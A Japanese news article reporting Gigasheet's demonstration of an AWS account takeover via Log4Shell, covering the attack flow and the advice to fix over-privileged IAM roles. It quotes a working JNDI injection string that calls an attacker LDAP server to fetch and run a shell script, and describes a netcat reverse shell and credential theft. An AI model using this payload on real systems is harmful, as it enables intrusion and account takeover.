AWSアカウントを「Log4Shell」で乗っ取る方法が報告される
JavaのLog4jライブラリに存在していたリモートコード実行を可能にする脆弱性「CVE-2021-44228(Log4Shell)」を突いてAWSアカウントを乗っ取る方法をセキュリティ企業のGigasheetが公開しました。
AWS Account Takeover via Log4Shell
https://www.gigasheet.co/post/aws-account-takeover-via-log4shell
Log4Shellは2021年12月にJavaのログ出力ライブラリ「Apache Log4j」に発見されたゼロデイ脆弱性です。Apache Log4jが広く利用されているだけでなく、Log4Shellを突く攻撃も難度が高くないことから、過去に類を見ないほどのレベルで各方面に深刻な影響を与えるとされており、セキュリティ関連組織や報道機関が2021年12月10日に公開された修正パッチをすぐに適用するように警告を発しています。
JavaのLog4jライブラリで発見された脆弱性「Log4Shell(CVE-2021-44228)」はなぜ世界中に大きな影響を与えるのか? - GIGAZINE
このLog4Shellに関連した問題として、セキュリティ企業のGigasheetが「Log4ShellでAWSアカウントを乗っ取る方法」を公開しました。Gigasheetによると、この方法はあくまでAWSのセキュリティ設定がずさんな場合にのみ起こりえる現象であり、AWSがLog4Shellに関する固有の問題を抱えているということを意味しているわけではないとのこと。
Gigasheetが行った実証試験は以下のような流れとなっています。まず、Log4Shellが内在しているアプリケーション(実験ではLog4Shellをテストするためだけに設計された「Log4Shell sample vulnerable application」というアプリケーションを使用)を用意します。続いてEC2インスタンス上のDockerコンテナでこのアプリケーションを実行。攻撃側として、AWSとは異なるクラウドサービスで実行した仮想マシンからLog4Shellを突くJNDI(Java Naming and Directory Interface)リクエストを送信しました。
今回送信したJNDIリクエストは、Log4Shellを有するアプリケーションに対してBase64エンコード値のLDAPクエリをポート1389番経由で悪意のあるLDAPサーバー(ここでは143.244.161.253)に向けて吐き出させる「jndi:ldap://143.244.161.235:1389/Basic/Command/Base64/L2Jpbi9zaCAvdG1wLy5iLnNo」など。
このLDAPクエリを受けて、攻撃側は悪意のあるLDAPサーバーからTCPポート8888番経由でエクスプロイトコードを送信します。
送信したエクスプロイトコードが以下。以下のコマンドは、Netcatでリバースシェルを含む「.b.sh」というスクリプトをDockerコンテナの「/tmp」ディレクトリに置き、その後「.b.sh」を実際に2回実行するという内容になっています。
攻撃を受けてからDockerコンテナ内で起こった詳細をログから完全に推察することはできませんが、攻撃側はAWSのAPIを呼び出してDockerコンテナからAWSリソースへアクセスすることに成功しました。実際にDockerコンテナを実行しているEC2インスタンスで一時的に使える認証情報を抜き出して、さまざまなAWS APIの呼び出しや全AWSリソースに対する管理者権限を有するIAMユーザーの作成、ウェブブラウザを介したAWSコンソールへのアクセスが可能になったそうです。
この現象はLog4Shellを有するアプリを実行しているDockerコンテナに高度な特権を持つIAMロールが割り当てられている場合のみ実行可能とのことで、Gigasheetはこの種のずさんな設定を見直すように呼びかけています。
・関連記事
JavaのLog4jライブラリで発見された脆弱性「Log4Shell(CVE-2021-44228)」はなぜ世界中に大きな影響を与えるのか? - GIGAZINE
Log4jライブラリのゼロデイ脆弱性「Log4Shell」で脆弱なサーバーを標的にした攻撃が続発中、仮想通貨マイナーのインストール・ボットネット拡散・データ盗難などやりたい放題 - GIGAZINE
Java・Log4jライブラリの脆弱性「Log4Shell」に対応する方法などをまとめたチートシートが公開中、影響のあるプロダクトも一目で明らかに - GIGAZINE
JavaのLog4jライブラリで「Log4Shell」に加えて新たな脆弱性「CVE-2021-45046」が発覚、アップデートで対応可能 - GIGAZINE
・関連コンテンツ